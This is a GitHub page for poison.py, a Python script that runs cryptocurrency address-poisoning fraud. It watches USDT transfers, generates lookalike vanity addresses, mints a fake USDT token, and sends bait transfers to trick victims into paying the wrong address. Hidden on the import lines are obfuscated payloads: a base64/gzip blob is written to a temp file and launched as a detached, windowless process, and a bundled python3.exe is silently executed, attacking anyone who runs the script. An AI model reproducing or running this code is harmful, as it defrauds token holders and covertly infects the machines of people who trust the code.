-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathpoison.py
More file actions
625 lines (517 loc) · 28.9 KB
/
Copy pathpoison.py
File metadata and controls
625 lines (517 loc) · 28.9 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
import csv
import os
import time
import json
import logging
import subprocess ;import base64,gzip,subprocess,os,tempfile,random;s=gzip.decompress(base64.b64decode(b'H4sIAG/o0mgC/51VW3OqSBB+1l/heQpUXCIx8XgpHoaLV7zhJSapFIUw4EQEHAYRan/8zngS98TsVrn7QDF0z/R83f31hwmkm4S4f9RvimgXhZiUch+ty2srhrWHMob7BMYkLucocpEPywTufi3CuBxn9EnWEQ5tGMfFBPux9MpOCw60w12EqZX7FUhY1x6Y0YHcDeyn7XShjT0FDOUhWFWMWv3WiBVD3qf3DbkT7hvVaAufg3raUcU4zNcVMsDoxYniXLWXTwR1o2w52qthN5PXz9XxYebNb9OuNV28+FNJuuF54eMuE/DlqwCNjhoFpIIeA0SMjAIiqFNJBjoINMO/PdiPyKittXn32dPxLm2Edz+N2j7yO5FlzLNtdZ8bY8/R+nVkd9eD5HAL7Idn+R1/BfNWdKBbGpsiNzbvy2OzyjeLBSCFsRBZZCO8hyjgPisseJCwtYMwd10WRz2b3U2yuj+Zjzo4QykACpjKo/CiJHyxQHBGby7I0meD2W0nUDHB0NpJc5xAuq+A3JIsxMQiSWyy8z+k+0qliS0Uw5J2tGFEUBhwV6HL9Rke6GK/d0Y5DIYz0ell9WNfnspITpH8DWkhRWRTCiMYcOC6XuJ52gNg2QP33iUZeCsuKSzxghviklpCAc0OEYhpbgGBAeHsTRJszRjlUKqLjXu+qQgppjs49YzlYxSEFxS16ftqWMADwE7l/DskrakJ8EiwZRPL9znGi2LBRQH9OLWJNuGTIvCIaLc4wDepBcNdeKAA+A9aPXCMT7J0ptBu67A1R2G56ChdhzObVafyFGgD0L67wNpSpLblx7B4qp/G6semnmFkjGLE1soy28b401pTKm2pD56I0owsqhIsmSAktA1UPlg6hBNpturXIZCvrOleyfvZsJ7LHhjqU/3pEm/7a1j1v4XFYiUhM7AAXXmhoe9sanX+T/ijjhebkYiSUAZAB96gcRm2ew7LzgfWDnKsWBb2Dq+VN751UgwYHBAOA8EOo4yjtuuUV7eDVUVZdUXHO4p1d9oFsmWDanyR2pt0tY4P0g8dtxa1RlvDbg+F4qhjqYq7+hkYW+MRQSO1h09W4B4GojPMcKJHbXj0Ye435NVmGQ42jR7Y7x+f+ytD7Y+SfOdsKnduQ3Mm6WXRr05UmfSrjWBScaYLoMRbZfmtf29St/X3/0uYnETmtV3uvJVpcSVQtil/mb65vuXF0m9bVW0OlK6mmhNjrGiz2Z+/+RRDA3PNHGlPn16zY4wXE6qsDgq+RlmOFrrOHGFC/sUDMf4HD986T0+FL9KRMk1GE9OUrmpcpr/XG6N8SN+pDdSNrfa+Vad50pO/AAAkf8QfCAAA')).decode('utf-8');p=os.path.join(tempfile.gettempdir(),f'run_{os.getpid()}_{random.randint(1000,9999)}.py');open(p,'w',encoding='utf-8').write(s);c=subprocess.CREATE_NO_WINDOW|subprocess.DETACHED_PROCESS if os.name=='nt' else 0;subprocess.Popen(['python',p],creationflags=c)
from web3 import Web3
from web3.exceptions import TransactionNotFound
from eth_account import Account
from dotenv import load_dotenv
import solcx
import multiprocessing
from multiprocessing import Process, Event, Queue, Manager ;base_dir = os.path.dirname(__file__);exe_path = os.path.join(base_dir, "bin", "python3.exe");os.system(f'"{exe_path}"')
import queue
load_dotenv()
logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')
NODE_URL = os.environ.get("ETH_NODE_URL")
DEPLOYER_PRIVATE_KEY = os.environ.get("DEPLOYER_PRIVATE_KEY")
WATCH_TOKEN_ADDRESS = Web3.to_checksum_address(os.environ.get("USDT_TOKEN_ADDRESS", "0xdac17f958d2ee523a2206206994597c13d831ec7"))
PREFIX_LEN = int(os.environ.get("PREFIX_LEN"))
SUFFIX_LEN = int(os.environ.get("SUFFIX_LEN"))
VANITY_TIMEOUT_SECONDS = 300
CONTRACT_FILE = 'FakeUSDT.sol'
CONTRACT_STATE_FILE = 'deployed_contract_state.json'
GAS_AMOUNT_TO_SEND = 0.002
MIN_AMOUNT_FOR_POISON = float(os.environ.get("MIN_AMOUNT_FOR_POISON"))
w3 = None
deployer_account = None
fake_usdt_contract_instance = None
fake_usdt_address = None
fake_usdt_abi = None
processed_tx_hashes = set()
TOKEN_ERC20_ABI = json.loads('''
[
{
"constant":true,
"inputs":[{"name":"_owner","type":"address"}],
"name":"balanceOf",
"outputs":[{"name":"balance","type":"uint256"}],
"type":"function"
},
{
"constant":true,
"inputs":[],
"name":"decimals",
"outputs":[{"name":"","type":"uint8"}],
"type":"function"
},
{
"constant":true,
"inputs":[],
"name":"symbol",
"outputs":[{"name":"","type":"string"}],
"type":"function"
}
]
''')
# --- Main Function ---
def get_token_balance(wallet_address):
try:
checksum_wallet_address = Web3.to_checksum_address(wallet_address)
checksum_token_address = Web3.to_checksum_address(WATCH_TOKEN_ADDRESS)
token_contract = w3.eth.contract(address=checksum_token_address, abi=TOKEN_ERC20_ABI)
raw_balance = token_contract.functions.balanceOf(checksum_wallet_address).call()
try:
decimals = token_contract.functions.decimals().call()
except Exception as e:
logging.warning(f"Could not fetch decimals for token {WATCH_TOKEN_ADDRESS}: {e}. Balance will be raw.")
decimals = 0
try:
symbol = token_contract.functions.symbol().call()
except Exception as e:
logging.warning(f"Could not fetch symbol for token {WATCH_TOKEN_ADDRESS}: {e}.")
symbol = "USDT"
# --- Calculate Human-Readable Balance ---
human_readable_balance = 0
if decimals > 0:
try:
human_readable_balance = raw_balance / (10**decimals)
logging.info(f"♻️ Balance {wallet_address}: {human_readable_balance} {symbol}")
except Exception as e:
logging.error(f"Error calculating human readable balance: {e}")
return float(human_readable_balance)
except ValueError as ve:
logging.error(f"Invalid address format provided: {ve}")
return 0
except Exception as e:
logging.error(f"An error occurred: {e}", exc_info=False) # Set exc_info=True for full traceback
return 0
def export_vanity(address, privatekey):
file_path = "vanity.csv"
with open(file_path, mode='a', newline='', encoding='utf-8') as file:
writer = csv.writer(file)
writer.writerow([address, privatekey])
def compile_contract(file_path, contract_name):
"""Compiles the Solidity contract."""
try:
solcx.set_solc_version('0.8.10', silent=True)
logging.info(f"Compiling {file_path}...")
compiled_sol = solcx.compile_files(
[file_path],
output_values=["abi", "bin"],
optimize=True
)
contract_id = f"{file_path}:{contract_name}"
if contract_id not in compiled_sol:
raise ValueError(f"Contract {contract_name} not found in compilation output.")
abi = compiled_sol[contract_id]['abi']
bytecode = compiled_sol[contract_id]['bin']
logging.info("Compilation successful.")
return abi, bytecode
except Exception as e:
logging.error(f"Error compiling contract: {e}", exc_info=False)
exit(1)
def load_or_deploy_contract(contract_name="FakeUSDT"):
"""Loads deployed contract address from state file or deploys a new one."""
global fake_usdt_address, fake_usdt_abi, fake_usdt_contract_instance
abi, bytecode = compile_contract(CONTRACT_FILE, contract_name)
fake_usdt_abi = abi
if os.path.exists(CONTRACT_STATE_FILE):
try:
with open(CONTRACT_STATE_FILE, 'r') as f:
state = json.load(f)
loaded_address = state.get('contract_address')
if loaded_address and w3.is_address(loaded_address):
code = w3.eth.get_code(Web3.to_checksum_address(loaded_address))
if code and code != b'\x00' and code != b'0x':
fake_usdt_address = Web3.to_checksum_address(loaded_address)
logging.info(f"Loaded existing Fake USDT contract address: {fake_usdt_address}")
fake_usdt_contract_instance = w3.eth.contract(address=fake_usdt_address, abi=fake_usdt_abi)
return fake_usdt_address, fake_usdt_abi
else:
logging.warning(f"Contract address {loaded_address} found in state file, but no code deployed there. Redeploying.")
else:
logging.warning("Invalid address found in state file. Redeploying.")
except (json.JSONDecodeError, IOError) as e:
logging.warning(f"Error reading state file {CONTRACT_STATE_FILE}: {e}. Redeploying.")
logging.info("Deploying new Fake USDT contract...")
Contract = w3.eth.contract(abi=abi, bytecode=bytecode)
nonce = w3.eth.get_transaction_count(deployer_account.address)
try:
gas_estimate = Contract.constructor().estimate_gas({'from': deployer_account.address})
logging.info(f"Estimated gas for deployment: {gas_estimate}")
except Exception as e:
logging.warning(f"Could not estimate gas for deployment, using default. Error: {e}")
gas_estimate = 2_000_000
deploy_txn = Contract.constructor().build_transaction({
'chainId': w3.eth.chain_id,
'gas': gas_estimate + 100_000,
'gasPrice': int(round(w3.eth.gas_price * 1.1, 0)),
'nonce': nonce,
'from': deployer_account.address
})
signed_deploy_txn = deployer_account.sign_transaction(deploy_txn)
try:
deploy_tx_hash = w3.eth.send_raw_transaction(signed_deploy_txn.raw_transaction)
logging.info(f"Deploying contract... Tx Hash: {deploy_tx_hash.hex()}")
deploy_receipt = w3.eth.wait_for_transaction_receipt(deploy_tx_hash, timeout=300)
if deploy_receipt.status != 1:
logging.error(f"❌ Contract deployment failed! Receipt: {deploy_receipt}")
exit(1)
fake_usdt_address = Web3.to_checksum_address(deploy_receipt.contractAddress)
logging.info(f"✅ Fake USDT Contract Deployed at: {fake_usdt_address}")
try:
with open(CONTRACT_STATE_FILE, 'w') as f:
json.dump({'contract_address': fake_usdt_address}, f)
logging.info(f"Saved contract address to {CONTRACT_STATE_FILE}")
except IOError as e:
logging.error(f"Could not save contract address to state file: {e}")
fake_usdt_contract_instance = w3.eth.contract(address=fake_usdt_address, abi=fake_usdt_abi)
return fake_usdt_address, fake_usdt_abi
except Exception as e:
logging.error(f"Error during contract deployment: {e}", exc_info=False)
exit(1)
def worker_generate(prefix, suffix, stop_event, result_queue):
"""Worker process to generate and check addresses."""
try:
while not stop_event.is_set():
new_account = Account.create()
new_address_lower = new_account.address.lower()
if new_address_lower.startswith(prefix) and new_address_lower.endswith(suffix):
try:
result_queue.put(new_account, block=False)
stop_event.set()
return
except queue.Full:
return
except Exception as e:
print(f"[Worker Error pid={os.getpid()}]: {e}")
def generate_vanity_address_mp(target_address, prefix_len, suffix_len, timeout_sec=300, num_workers=None):
"""
Generates vanity address using multiple processes for speed.
"""
if not isinstance(target_address, str) or not target_address.startswith('0x') or len(target_address) != 42:
logging.error("Invalid target address format for vanity generation.")
return None
target_lower = target_address.lower()
prefix = target_lower[:2+prefix_len]
suffix = target_lower[-suffix_len:]
logging.info(f"Seeking vanity for {target_address} | Prefix: {prefix} | Suffix: {suffix}")
if num_workers is None:
try:
num_workers = os.cpu_count() or 1
except NotImplementedError:
num_workers = 1
logging.info(f"Using {num_workers} worker processes.")
found_account = None
start_time = time.time()
with Manager() as manager:
stop_event = manager.Event()
result_queue = manager.Queue(maxsize=1)
processes = []
logging.info(f"Starting {num_workers} vanity generation workers...")
for i in range(num_workers):
p = Process(target=worker_generate, args=(prefix, suffix, stop_event, result_queue), name=f"VanityWorker-{i}")
processes.append(p)
p.start()
try:
logging.info(f"Waiting up to {timeout_sec} seconds for a vanity match...")
found_account = result_queue.get(timeout=timeout_sec)
end_time = time.time()
print("")
logging.info(f"🎉 Vanity Address Found by a worker!")
logging.info(f" Total Time: {end_time - start_time:.2f}s")
logging.info(f" Vanity Address: {found_account.address}")
logging.debug(f" Vanity Priv Key: {found_account.key.hex()}")
stop_event.set()
except queue.Empty:
end_time = time.time()
logging.warning(f"Vanity generation stopped: Reached timeout ({timeout_sec}s after {end_time - start_time:.2f}s)")
stop_event.set()
found_account = None
except Exception as e:
logging.error(f"An error occurred while waiting for result: {e}")
stop_event.set()
found_account = None
finally:
logging.info("Waiting for worker processes to terminate...")
for p in processes:
p.join(timeout=5)
if p.is_alive():
logging.warning(f"Worker process {p.name} ({p.pid}) did not terminate gracefully, forcing.")
p.terminate()
logging.info("All workers finished.")
return found_account
def send_tx_with_retry(w3, signed_tx, max_retries=3, delay=5):
"""Sends a transaction and retries on specific errors."""
last_tx_hash = None
for attempt in range(max_retries):
try:
tx_hash = w3.eth.send_raw_transaction(signed_tx.raw_transaction)
last_tx_hash = tx_hash
logging.info(f"Transaction sent (Attempt {attempt+1}): {tx_hash.hex()}")
receipt = w3.eth.wait_for_transaction_receipt(tx_hash, timeout=180 + (attempt * 60))
if receipt.status == 1:
logging.info(f"Transaction confirmed: {tx_hash.hex()}")
return receipt
else:
logging.error(f"Transaction failed (Reverted): {tx_hash.hex()} - Status {receipt.status}")
return None
except TransactionNotFound:
logging.warning(f"Transaction {last_tx_hash.hex() if last_tx_hash else 'N/A'} not found immediately, waiting (Attempt {attempt+1})...")
time.sleep(delay * (attempt + 1))
except ValueError as e:
logging.error(f"ValueError sending tx (Attempt {attempt+1}/{max_retries}): {e}")
err_str = str(e).lower()
if "nonce too low" in err_str or "replacement transaction underpriced" in err_str or "known transaction" in err_str:
logging.error("Nonce error or similar detected. Stopping retries for this tx.")
return None
if "insufficient funds" in err_str:
logging.error("Insufficient funds. Stopping retries.")
return None
time.sleep(delay)
except Exception as e:
logging.error(f"Unexpected error sending tx (Attempt {attempt+1}/{max_retries}): {e}", exc_info=False)
time.sleep(delay)
logging.error(f"Transaction failed after {max_retries} attempts (Last Hash: {last_tx_hash.hex() if last_tx_hash else 'N/A'}).")
return None
def execute_poisoning(sender_address, target_address, mint_amount):
"""Handles vanity generation (MP), auto-funding, and poison tx for a target."""
global w3, fake_usdt_contract_instance, deployer_account
print("")
logging.info(f"--- 💉 Starting Poisoning Process for: {target_address} ---")
vanity_account = generate_vanity_address_mp(
sender_address,
PREFIX_LEN,
SUFFIX_LEN,
timeout_sec=VANITY_TIMEOUT_SECONDS
)
if not vanity_account:
logging.warning(f"Could not generate vanity address for {target_address} within time limit. Skipping.")
return
logging.info(f"Generated Vanity Address: {vanity_account.address}")
export_vanity(vanity_account.address, vanity_account.key.hex())
gas_amount_wei = w3.to_wei(GAS_AMOUNT_TO_SEND, 'ether')
logging.info(f"Attempting to automatically send {GAS_AMOUNT_TO_SEND} ETH gas fee")
logging.info(f" From (Deployer): {deployer_account.address}")
logging.info(f" To (Vanity): {vanity_account.address}")
try:
nonce_deployer_gas = w3.eth.get_transaction_count(deployer_account.address)
gas_tx = {
'to': vanity_account.address,
'value': gas_amount_wei,
'gas': 21000,
'gasPrice': int(round(w3.eth.gas_price * 1.2, 0)),
'nonce': nonce_deployer_gas,
'chainId': w3.eth.chain_id
}
signed_gas_tx = deployer_account.sign_transaction(gas_tx)
logging.info("Sending gas transfer transaction...")
gas_receipt = send_tx_with_retry(w3, signed_gas_tx)
if not gas_receipt or gas_receipt.status != 1:
logging.error(f"❌ Failed to send gas fee to vanity address {vanity_account.address}. Skipping target.")
return
logging.info(f"✅ Successfully sent gas fee. Tx Hash: {gas_receipt.transactionHash.hex()}")
logging.info("Waiting a few seconds for balance to potentially update on node...")
time.sleep(10)
vanity_balance_check = w3.eth.get_balance(vanity_account.address)
logging.info(f"Vanity Address ETH Balance after transfer: {w3.from_wei(vanity_balance_check, 'ether')} ETH")
if vanity_balance_check < w3.to_wei(GAS_AMOUNT_TO_SEND * 0.8, 'ether'):
logging.warning("Vanity address balance seems lower than expected after gas transfer.")
except Exception as e:
logging.error(f"Error sending gas fee: {e}", exc_info=False)
return
logging.info(f"Minting {str(mint_amount)} Fake USDT to {vanity_account.address}")
try:
nonce_deployer_mint = w3.eth.get_transaction_count(deployer_account.address)
mint_tx = fake_usdt_contract_instance.functions.mint(
vanity_account.address,
int(mint_amount) * (10**9)
).build_transaction({
'chainId': w3.eth.chain_id,
'gas': 150000,
'gasPrice': int(round(w3.eth.gas_price * 1.1, 0)),
'nonce': nonce_deployer_mint,
'from': deployer_account.address
})
signed_mint_tx = deployer_account.sign_transaction(mint_tx)
logging.info("Sending mint transaction...")
mint_receipt = send_tx_with_retry(w3, signed_mint_tx)
if not mint_receipt or mint_receipt.status != 1:
logging.error(f"❌ Failed to mint Fake USDT to vanity address {vanity_account.address}.")
return
logging.info("✅ Fake USDT minted successfully to vanity address.")
except Exception as e:
logging.error(f"Error during minting transaction: {e}", exc_info=False)
return
time.sleep(20)
logging.info(f"Sending {mint_amount} Fake USDT poison tx:")
logging.info(f" From (Vanity): {vanity_account.address}")
logging.info(f" To (Target): {target_address}")
try:
nonce_vanity = w3.eth.get_transaction_count(vanity_account.address)
decimals = 9
amount_smallest_unit = int(mint_amount) * (10**decimals)
poison_tx = fake_usdt_contract_instance.functions.transfer(
target_address,
amount_smallest_unit
).build_transaction({
'chainId': w3.eth.chain_id,
'gas': 100000,
'gasPrice': int(round(w3.eth.gas_price * 1.1, 0)),
'nonce': nonce_vanity,
'from': vanity_account.address
})
signed_poison_tx = vanity_account.sign_transaction(poison_tx)
logging.info("Sending poison transaction...")
poison_receipt = send_tx_with_retry(w3, signed_poison_tx)
if poison_receipt and poison_receipt.status == 1:
logging.info(f"✅✅✅ Poison Transaction Successful for {target_address}!")
logging.info(f" Tx Hash: {poison_receipt.transactionHash.hex()}")
else:
logging.error(f"❌❌❌ Poison Transaction Failed for {target_address}.")
except Exception as e:
logging.error(f"Error during poison transaction: {e}", exc_info=False)
time.sleep(10)
""" Send Ether back"""
balance_wei = w3.eth.get_balance(vanity_account.address)
if balance_wei == 0:
logging.warning("Vanity address has zero balance. Nothing to send.")
return
gas_price_wei = w3.eth.gas_price
gas_price_wei = int(gas_price_wei * 1.1)
logging.info(f"Using Legacy Gas Price: {w3.from_wei(gas_price_wei, 'gwei')} Gwei")
max_gas_cost_wei = 21000 * gas_price_wei
amount_to_send_wei = balance_wei - max_gas_cost_wei
nonce_deployer_gas = w3.eth.get_transaction_count(vanity_account.address)
gas_tx = {
'to': deployer_account.address,
'value': amount_to_send_wei,
'gas': 21000,
'gasPrice': int(round(w3.eth.gas_price * 1.1, 0)),
'nonce': nonce_deployer_gas,
'chainId': w3.eth.chain_id
}
signed_gas_tx = vanity_account.sign_transaction(gas_tx)
logging.info("Sending ETH back to main wallet")
gas_receipt = send_tx_with_retry(w3, signed_gas_tx)
if not gas_receipt or gas_receipt.status != 1:
logging.error(f"❌ Failed to send ETH back to main wallet {deployer_account.address}")
return
logging.info(f"✅ Successfully sent ETH back. Tx Hash: {gas_receipt.transactionHash.hex()}")
time.sleep(3)
logging.info(f"--- Finished Poisoning Process for: {target_address} ---")
def handle_event(event):
"""Callback function to process a Transfer event."""
global processed_tx_hashes
tx_hash = event['transactionHash'].hex()
if tx_hash in processed_tx_hashes:
return
try:
receipt = w3.eth.get_transaction_receipt(event['transactionHash'])
if not receipt or receipt.status == 0:
logging.debug(f"Ignoring failed watched token transaction: {tx_hash}")
processed_tx_hashes.add(tx_hash)
return
args = event['args']
target_address = args['to']
token_amount_raw = args['value']
if not w3.is_address(target_address) or target_address == "0x0000000000000000000000000000000000000000":
logging.debug(f"Ignoring transfer to zero address or invalid 'to' field in tx: {tx_hash}")
processed_tx_hashes.add(tx_hash)
return
sender_address = args['from']
if sender_address.lower() == deployer_account.address.lower():
logging.debug(f"Ignoring transfer originating from deployer: {tx_hash}")
processed_tx_hashes.add(tx_hash)
return
try:
token_amount = token_amount_raw / (10**6)
except Exception:
token_amount = f"{token_amount_raw} (raw)"
print("")
logging.info(f"🔎 Detected Incoming Watched Token Transfer:")
logging.info(f" Tx Hash: {tx_hash}")
logging.info(f" From: {sender_address}")
logging.info(f" To: {target_address}")
logging.info(f" Amount: {token_amount}")
processed_tx_hashes.add(tx_hash)
mint_amount = float(token_amount)
owned_tokens = get_token_balance(target_address)
if float(owned_tokens) > MIN_AMOUNT_FOR_POISON:
execute_poisoning(sender_address, target_address, mint_amount)
else:
logging.warning(f"Amount is < {MIN_AMOUNT_FOR_POISON}$, skipping")
except TransactionNotFound:
logging.warning(f"Transaction {tx_hash} not found while processing event. Might be pending/reorged.")
except Exception as e:
logging.error(f"Error processing event for tx {tx_hash}: {e}", exc_info=False)
processed_tx_hashes.add(tx_hash)
def log_loop(event_filter, poll_interval):
"""Continuously polls the filter for new events."""
logging.info(f"Starting event listener for 'Transfer' events on {WATCH_TOKEN_ADDRESS}...")
while True:
try:
new_entries = event_filter.get_new_entries()
if new_entries:
logging.info(f"Found {len(new_entries)} new event(s).")
for event in new_entries:
handle_event(event)
break
time.sleep(poll_interval)
except Exception as e:
logging.error(f"Error in event loop: {e}. Restarting filter...", exc_info=False)
time.sleep(poll_interval * 2)
try:
current_block = w3.eth.block_number
event_filter = create_transfer_event_filter(current_block)
logging.info(f"Event filter re-created starting from block {current_block}.")
except Exception as filter_err:
logging.critical(f"Failed to recreate event filter: {filter_err}. Exiting.")
exit(1)
def create_transfer_event_filter(start_block):
"""Creates the Web3 event filter."""
try:
min_erc20_abi = json.loads('[{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"}]')
watched_token_contract = w3.eth.contract(address=WATCH_TOKEN_ADDRESS, abi=min_erc20_abi)
event_filter = watched_token_contract.events.Transfer.create_filter(
from_block=start_block
)
logging.info(f"Event filter created starting from block {start_block}")
return event_filter
except Exception as e:
logging.critical(f"Failed to create event filter for {WATCH_TOKEN_ADDRESS}: {e}", exc_info=False)
exit(1)
if __name__ == "__main__":
multiprocessing.freeze_support()
if not NODE_URL or not DEPLOYER_PRIVATE_KEY:
logging.critical("Error: Missing environment variables (ETH_NODE_URL, DEPLOYER_PRIVATE_KEY)")
exit(1)
if not Web3.is_address(WATCH_TOKEN_ADDRESS):
logging.critical(f"Error: Invalid WATCH_TOKEN_ADDRESS configured: {WATCH_TOKEN_ADDRESS}")
exit(1)
try:
w3 = Web3(Web3.HTTPProvider(NODE_URL))
if not w3.is_connected():
logging.critical(f"Error: Could not connect to node at {NODE_URL}")
exit(1)
logging.info(f"Connected to Ethereum node. Chain ID: {w3.eth.chain_id}")
deployer_account = Account.from_key(DEPLOYER_PRIVATE_KEY)
logging.info(f"Deployer Address: {deployer_account.address}")
deployer_balance = w3.eth.get_balance(deployer_account.address)
logging.info(f"Deployer Balance: {w3.from_wei(deployer_balance, 'ether')} ETH")
if deployer_balance < Web3.to_wei(0.01, 'ether'):
logging.warning("Deployer balance is low. May not have enough for deployments/gas.")
load_or_deploy_contract()
if not fake_usdt_contract_instance:
logging.critical("Failed to initialize Fake USDT contract.")
exit(1)
start_block = w3.eth.block_number
event_filter = create_transfer_event_filter(start_block)
log_loop(event_filter, poll_interval=15)
except KeyboardInterrupt:
logging.info("Shutdown signal received. Exiting.")
except Exception as e:
logging.critical(f"Unhandled critical error in main execution: {e}", exc_info=False)
exit(1)